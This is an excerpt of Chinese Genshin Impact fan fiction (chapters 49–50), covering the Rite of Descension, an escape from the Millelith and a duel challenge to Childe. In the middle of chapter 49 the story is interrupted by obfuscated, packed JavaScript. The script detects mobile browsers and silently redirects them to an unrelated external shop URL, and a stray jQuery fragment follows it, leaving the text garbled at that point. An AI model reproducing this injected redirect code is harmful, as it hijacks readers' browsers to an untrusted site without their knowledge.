49.

    “人好多啊。旅行者,我们也快过去吧!”

    “嗯。”

    派蒙和空对视一眼,走进玉京台。

    玉京台的四角是古朴的香炉,前来进香许愿的人很多,都想求一个好兆头,在新的一年里顺顺利利心想事成。

    “中间站着的应该就是主持典仪的璃月七星了吧。”原本闭着眼许愿的派蒙先一步睁开眼,望向场内的中心位置,“就是不知道是谁。”

    [是七星中的天权星,凝光。]

    派蒙吓得跳起来:“谁?!”

    空也睁开眼睛,警惕地环顾四周。

    派蒙:“旅行者,你也听到了吧,这个声音是哪来的,我们周围没有人啊?”

    空摇摇头,望向派蒙的神色并不好看。

    [别紧张,你们抬头。]

    本来的警惕心被直达脑海的声音冲散,身体几乎是下意识按照指令给出回应。

    玉京台在璃月港的高处,来这里参观请仙典仪要爬上很多级台阶,体力不好的人要走上很久。

    [我是御剑来的。]

    洛浔从高处往下跳,原本的着装被深黑色的宽大黑披风遮住。落地的一瞬间,风吹下他头上用来遮掩的黑色帽子,向空和派蒙露出一张英气的脸。

    收剑入鞘,洛浔眨了眨漂亮的红眼睛,主动给旅行者一个拥抱。

    [好久不见。]

    空愣在原地,还是派蒙下意识吐槽:“你怎么会来璃月。”

    她看了看周围:“疏禾没有一起来吗?”

    “你怎么突然会说话了……呃啊,也不对,你这不是说话吧!”

    空趁这几句话的功夫回神,有些无措地点点头,表示和小派蒙同样的疑惑。

    这个直达脑海的声音实在太怪异。

    而且,直到看到人,自己才发现这个音色和疏禾几乎是一模一样。

    所以疏禾人呢?

    [我学会了怎么和人交流,这不是很值得高兴的一件事吗。]

    面前的少年回以一笑,明明没有在说话,声音却能够被面对面的人所接收。

    派蒙:“总觉得奇奇怪怪,甚至有些让人害怕呢。”

    刚刚真是让人觉得闹鬼了啊!

    洛浔没有再继续这个话题,他把身上披着的黑披风系紧,望向玉京台的眼底藏着紧张与兴奋。

    空也注意到了洛浔的视线,跟着望向玉京台中央站着的凝光。

    空:“你也是来参加七星请仙典仪的吗?”

    洛浔点点头,转身盯着空。

    视线明明落在自己的身上,却好像在看什么别的东西。明明已经确定了对面是认识的友人,面对这样打量的目光还是忍不住想要拔剑。

    空打了个冷战。

    派蒙也敏锐察觉到了气氛的变化,努力引开话题:“总之洛浔你能学会说话真是太好了,我们都很开心……快看!”

    是七星请仙典仪开始了。

    派蒙飞在人群后面,有些难受的和空和洛浔提议:“后面什么都看不到嘛,我们往前走一走?”

    来了。

    洛浔抿了抿唇。

    是记忆中一模一样的话。

    但画面是不同的。因为这一次,只有自己,没有疏禾。

    剑灵被他强制封锁在剑本体里了,一时半会可以说是来不了。大概能拖上半天时间,但半天时间也足够了。

    这次不可能再带着疏禾一起……

    空中的云呈现漩涡状,本来为了举行仪式而选择的晴好天气霎时间被乌云覆盖。厚重的云层遮住原本明亮刺眼的太阳,剧烈的风吹起在场所有人的衣角。

    主持典仪的天权星凝视着天空,皱着眉观察着突如其来的坏天气。

    香炉升起的金光原本是为了召唤岩王帝君,等待帝君关于璃月发展的新的神谕。而此刻,空中浮现的帝君并不像往年那样出现在众人面前,巨大龙影没有任何预兆地坠落在地,推翻了为举行典仪而准备的各样物品。

    近距离的观察让空和派蒙都受到了不小的冲击。

    随着凝光高声喊道“封锁全场”,洛浔悄悄牵住空的手,带他和派蒙退出了拥挤的人群。

    派蒙还在恍惚中:“她刚刚是说帝君遇害了吗?!”

    “对。”玉京台中间确实躺着帝君的遗体,空回答,“我们或许已经成了意图谋害帝君的嫌疑人。”

    他脸色很难看,目光看向洛浔抓住自己的那只手。

    空:“我们这是要去哪里?”

    洛浔回头,本来因为沉默而紧绷着的脸绽开笑容。

    [带你们逃出去。]

    “可是,现在外面都是千岩军。”派蒙很紧张,“我们能去哪?”

    洛浔没有直接说,他的目光注视着包围着玉京台的千岩军:[出去就知道了。]

    [你们的主线不会因为我这个插曲而改变。]

    派蒙挠头:“这是什么意思。”

    洛浔不语,拉着空的手攥得更紧。

    被牵着的空感觉奇怪。从今天遇到洛浔的那一刻起,包括相遇的拥抱,之后语义不明的对话,到现在的牵手。洛浔好像在尽力表示对自己的友好与关心。

    这是在做什么?

    其实两人的关系还没有好到这个地步吧。

    思考间,洛浔已经带着人越过玉京台的围墙,像猫一样安静地着地。

    “咔嚓——”

    什么东西?

    洛浔回头,对上空尴尬的笑容。

    踩到树枝和落叶了啊。

    该说不愧是主线剧情吗。抬头看已经警觉起来,举着枪正在对他们发出警告的千岩军,洛浔叹气。

    [那我们飞着走好了,抓紧我。]

    空紧张:“什么……”

    洛浔已经拔出疏苗剑,带着空飞往璃月港外。

    御剑飞得很快,空中的风迷得派蒙睁不开眼睛。

    派蒙:“喂,洛浔。所以我们是要去……”哪?

    “你怎么绕了一圈又回来了!”

    落地的瞬间,看着眼前熟悉的璃月港城市建筑,派蒙差点没晕过去。

    刚刚在空中被风吹得晕眩到想吐,难道都白费了吗?!

    洛浔却不着急,他把空从无人的街角推向道路中央。

    和空茫然的目光对上,洛浔食指放在唇前比了个禁言的手势,意味不明地笑了笑。随后不知道从哪翻出面具,戴上后跳上屋顶。

    千岩军仍在玉京台排查,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17596542|204551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    大部分的人被洛浔刚刚飞着逃往璃月港外的举动所干扰,被引到其他地方。

    现在璃月港内巡查的人尤其少,刚刚对洛浔一行人大张旗鼓的追赶,又让帝君遇害的消息又长了翅膀一样飞快传遍整个璃月。

    璃月人惶惶不安,选择闭门不出。

    派蒙疑惑地看着空荡荡的街道:“所以洛浔是算到了现在璃月港没什么人在,所以才送我们回来的吗?”

    空摇摇头:“我看不像。”

    洛浔实在是太奇怪了,今天的一切举动看起来和蒙德图书馆的那个沉默的哥哥完全不像同一个人。

    让人警惕,但在看到对方和善的微笑后又忍不住放松下来选择信任。

    就像是当初第一面见到疏禾时所留下的印象。

    ……

    “少年,在大家都藏起来的时候,你的身影可以说是格外明显。”

    空警惕转身,对上的就是一个身姿纤长的青年男性。璃月港的乌云未散,他从暗处走出,手里还拿着一张画着图像写着墨字的黄纸。

    “是新贴上的通缉令。”他逐渐走进,露出原本藏在暗处英俊的脸。

    蓝色的眼睛打量着拔剑站在原地的空,斜戴在橙黄色短发上的红色面具在这种双人会面的场面下显得很邪性。

    青年看着空和派蒙紧张的战备姿势,突然笑出声来:“噗,请原谅,我不是带着恶意来的,对你们出示这张通缉令也不是为了报告给千岩军。”

    “自我介绍一下吧,我是愚人众执行官第十一席,你可以称呼我,「公子」。”

    派蒙更紧张了:“你是愚人众的人!”

    公子摊手:“别紧张,我和女士不同。就像刚刚说的,我对你们没有恶意,而我带来这张通缉令,也是想帮助你们洗清嫌疑。”

    “或许,你们听说过绝云间的仙人吗……”

    50.

    屋顶,起初还好奇向下张望的洛浔有些无聊地开始数云。

    真无聊啊。

    话说疏禾现在应该已经摸到阵眼了。

    平时不好好看书,这时候肯定解不开吧。

    想到这里,洛浔弯起唇角,本来无聊的情绪被这一好笑的联想冲淡。

    自己也该行动了。

    公子:“这就是百无禁忌箓,你拿好……”

    就是现在!

    空和派蒙在洛浔落地的瞬间被强烈的风推飞出去

    洛浔跳下屋顶,腰间的剑受到指引飞出。

    危险的剑意裹挟着近乎疯狂的气息直击正在说话的公子面门,达达利亚堪堪躲过,橙色的发尾被削下。碎发飘起间,被暗处来的突然攻击逗笑的公子注意到自己左肩金属肩甲上一道深深的划痕!

    没想真的伤到他,但真的在很努力地挑衅他。

    黑色袍子牢牢遮挡着面前人的身形,同样乌黑的面具上刻画着祭祀用的红紫纹路,紧紧贴附在袭击者的脸上,只露出一对挑衅的浅红色眼睛。整个人被保护得很好,达达利亚只能从身高隐约看出对面的人年纪尚小。

    [公子,]洛浔弯起眼睛,已经飞出去的剑又回到手心。

    达达利亚听到脑海中被传输的来源明确的声音,挑了挑眉。

    [拜托和我打一架。]